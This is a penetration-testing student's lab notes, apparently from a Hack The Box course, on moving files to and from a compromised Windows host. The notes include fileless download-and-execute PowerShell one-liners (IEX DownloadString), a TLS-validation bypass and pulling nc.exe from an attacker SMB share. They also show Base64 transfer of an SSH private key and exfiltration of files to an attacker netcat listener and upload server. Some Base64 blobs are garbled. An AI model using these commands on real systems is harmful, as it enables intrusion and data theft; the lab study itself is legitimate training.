File Transfer Techniques Download PowerShell Base64 Encode & Decode Djerbien@htb[/htb]\$ md5sum id_rsa Djerbien@htb[/htb]\$ cat id rsa |base64 -w 0;echo PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id rsa", QUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0d2V1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpibmtiN2hlMldRVGpMQWRYZE9kCno3Yjrtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmp BVzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJz5k11dTJONkJoRHVmQThhc0FB QUIRRGJXa3p3MjFwTThBQUFBSApj M05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUICUEplN05vWGovQGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmlybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEn5NUNHblp55zn1Nk40N0 RYVERWNGFLZHF5dFexVEF2WVB0MFpvVWgKdmxKOWFlMXIYM1R1MTNhUVIDUE1XTHNITIdr51h5c0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hw TlRsRFZlaktkWVFib0ZPUFc5SjBxaUVo0EpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzlSRWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q352lPcHlwYndFZ0dJW VkK7W9VT2hFNVIvY2s5O312TIFRem9ReFFROLIFRLILINGK7RtTXIraklXL09Ic3lIRC9IOzINRGNuNTI0S2NORLI70NLIk5h07IMAnDcmdVNmNoSINiVWIsVXFqVFx4NmIvhINmSIVWS3nLIMXRCVk1tWF74VitnK0FR QUFRUURzbGZwMn1zVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRlc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUIZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE 9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo=")) PS C:\htb> Get-FileHash C:\Users\Public\id_rsa -Algorithm md5 **PowerShell Web Downloads:** PowerShell DownloadFile Method • FileDownload & Async ☐ PS C:\htb> (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>' ☐ PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>') • PowerShell DownloadString - Fileless Method (into memory) ☐ PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('<Target File URL>') ☐ PS C:\htb> (New-Object Net.WebClient).DownloadString('<Target File URL>') | IEX PowerShell Invoke-WebRequest https://gist.github.com/HarmJ0y/bb48307ffa663256e239 (check the table in my notes, uses internet explorer for this exploit with various techniques) **Common Errors with PowerShell** There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download. ☐ PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command: □ PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\$true} SMB DOWNLOADS **Create the SMB Server** Copy a File from the SMB Server

C:\htb> copy \\192.168.220.133\share\nc.exe

Create the SMB Server with a Username and Password New versions of Windows block unauthenticated guest access ☐\$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test Mount the SMB Server with Username and Password C:\htb> net use n: \\192.168.220.133\share /user:test test FTP Downloads Setting up a Python3 FTP Server ☐ Djerbien@htb[/htb]\$ sudo pip3 install pyftpdlib Djerbien@htb[/htb]\$ sudo python3 -m pyftpdlib --port 21 ♥ Then we can specify port number 21 because, by default, pyftpdlib uses port 2121. Anonymous authentication is enabled by default if we don't set a user and password. **Transfering Files from an FTP Server Using PowerShell** PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C: \Users\Public\ftp-file.txt') Create a Command File for the FTP Client and Download the Target File C:\htb> echo **open 192.168.49.128** > ftpcommand.txt C:\htb> echo **USER anonymous** >> ftpcommand.txt C:\htb> echo binary >> ftpcommand.txt C:\htb> echo GET file.txt >> ftpcommand.txt C:\htb> echo **bye** >> ftpcommand.txt C:\htb> ftp -v -n -s:ftpcommand.txt ftp> open 192.168.49.128 Log in with USER and PASS first. ftp> USER anonymous ftp> GET file.txt ftp> bye C:\htb>more file.txt This is a test file Uploads PowerShell Base64 Encode & Decode PS C:\htb>[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte)) NCIMgVGhpcyBmaWxllGNvbnRhaW5zlHRoZSBtYXBwaW5ncy8vZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KlyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFslGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KlyBiZSBwbGFjZWQgaW4gdGhllGZpcnN0lGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyXXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyXXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyXXNzIGFuZCB0aGUgY29ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGB0aGugY20ycmVzcG9uZGA0GugY20ycmVzcG9uZGA0GugY20ycmVzcG9uZGA0GugY20ycmVzcG9uZGA0GugY20ycmVUgaG9zdCBuYW1liHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojiHNwYWNILg0Klw0KlyBBZGRpdGlvbmFsbHksIGNvbW1lbnRziChzdWNoIGFzlHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb PS C:\htb> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash 3688374325B992DEF12793500307566D ☐ Djerbien@htb[/htb]\$ echo NCIMgVGhpcyBmaWxllGNvbnRhaW5zlHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KlyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFslGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KlyBiZSBwbGFjZWQgaW4gdGhllGZpcnN0lGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyXXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyXXNzIGFuZCB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbWUuDQojIFRoZSBJUCBhZGRyXXNzIGFuZCB0aGUgY29ycmVzcG9uZG9uZGA0GUgY29ycmVzcG9uZGG9uZG9uZG9uZG9uZG9uZG9UgY2UgaG9zdCBuYW1IlHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25IDQojlHNwYWNILg0Klw0KlyBBZGRpdGlvbmFsbHksiGNvbW1lbnRziChzdWNoIGFzlHRoZXNIKSBtYXkgYmUgaW5zZXI0ZWQgb24gaW5kaXZpZHVhbA0KlyBsaW5lcyBvciBmb2xsb3dpbmcgdGhllG1hY2hpbmUgbmFtZSBkZW5vdGVkliGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9ylGV4YW1wbGU6DQojDQojlCAglCAgMTAyLjU0Ljk0Ljk3I CAġlCByaGluby5hY21lLmNvbSAglCAglCAglCAglCAglCAJlHNvdXJjZSBzZXJ2ZXINCiMglCAglCAgMzguMjJUunjMuMTAglCAglHguYWNtZS5jb20glCAglCAglCAglCAglCAglCAglCMgeCBjbGllbnQgaG9zdA0KDQojlGxvY2FsaG9zdCBuY Djerbien@htb[/htb]\$ md5sum hosts 3688374325b992def12793500307566d hosts

PowerShell Web Uploads

Installing a Configured WebServer with Upload _\$ pvthon3 -m pipx install_uploadserver ☐—\$ python3 -m pipx ensurepath Run http server □-\$python3 -m uploadserver Self-Signed Certificate to run a server with https ☐\$ openss1 req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj —\$/home/jerbi/.local/bin/uploadserver 443 --server-certificate ../server.pem PowerShell Script to Upload a File to Python Upload Server □PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master /Powershell/PSUpload.ps1') PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows **\System32\drivers\etc\hosts** [+] File Uploaded: C:\Windows\System32\drivers\etc\hosts [+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373 PowerShell Base64 Web Upload using Invoke-WebRequest or Invoke-RestMethod together with Netcat. PS C:\htb> \$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32 \drivers\etc\hosts' -Encoding Byte)) PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body \$b64 We catch the bytes in our Attacker machine: □Djerbien@htb[/htb]\$ nc -lvnp 8000 listening on [anv] 8000 connect to [192.168.49.128] from (UNKNOWN) [192.168.49.129] 50923 POST / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/x-www-form-urlencoded Host: 192.168.49.128:8000 Content-Length: 1820 Connection: Keep-Alive IyBDb3B5cmInaHQgKGMpIDE5OTMtMJAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhlHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2IuZG93cv4NCiMNCiMgVGhpcvBmaWxlIGNvbnRhaW5zlHRoZSBtYXBwaW5ncvByZiBJUCBhZGRvZXNzZXMgdG8gaG9zdCBuYW1lcv4gRWFiaA0KlvBlbnRveSBzaG91bGQgYmUga2VwdCBvbiBhbi BpbmRpdmlkdWFslGxpbmUulFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhllGZpcnN0lGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0lG5hbW Djerbien@htb[/htb]\$ echo <base64> | base64 -d -w 0 > hosts SMB Uploads Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network to not pose a potential attack. An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other.

Using WebDav

Configuring WebDav Server

□--\$ Pipx install wsgidav cheroot

```
Djerbien@htb[/htb]$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
   Connect to WebDav and upload
     C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
     C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\sharefolder\
Note: If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download
operations.
FTP Uploads
   Setting up a Python3 FTP Server ( with --write )
     Djerbien@htb[/htb]$ sudo python3 -m pyftpdlib --port 21 --write
   Uploading Files from an FTP Server Using PowerShell
        PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows
        \System32\drivers\etc\hosts')
   Create a Command File for the FTP Client and uplaod the Target File
     C:\htb> echo open 192.168.49.128 > ftpcommand.txt
     ☐ C:\htb> echo USER anonymous >> ftpcommand.txt
     C:\htb> echo binary >> ftpcommand.txt
     C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
     C:\htb> echo bye >> ftpcommand.txt
     □ C:\htb>ftp -v -n -s:ftpcommand.txt
       ftp> open 192.168.49.128
       Log in with USER and PASS first.
        ftp> USER anonymous
        ftp> PUT c:\windows\system32\drivers\etc\hosts
        ftp> bve
```

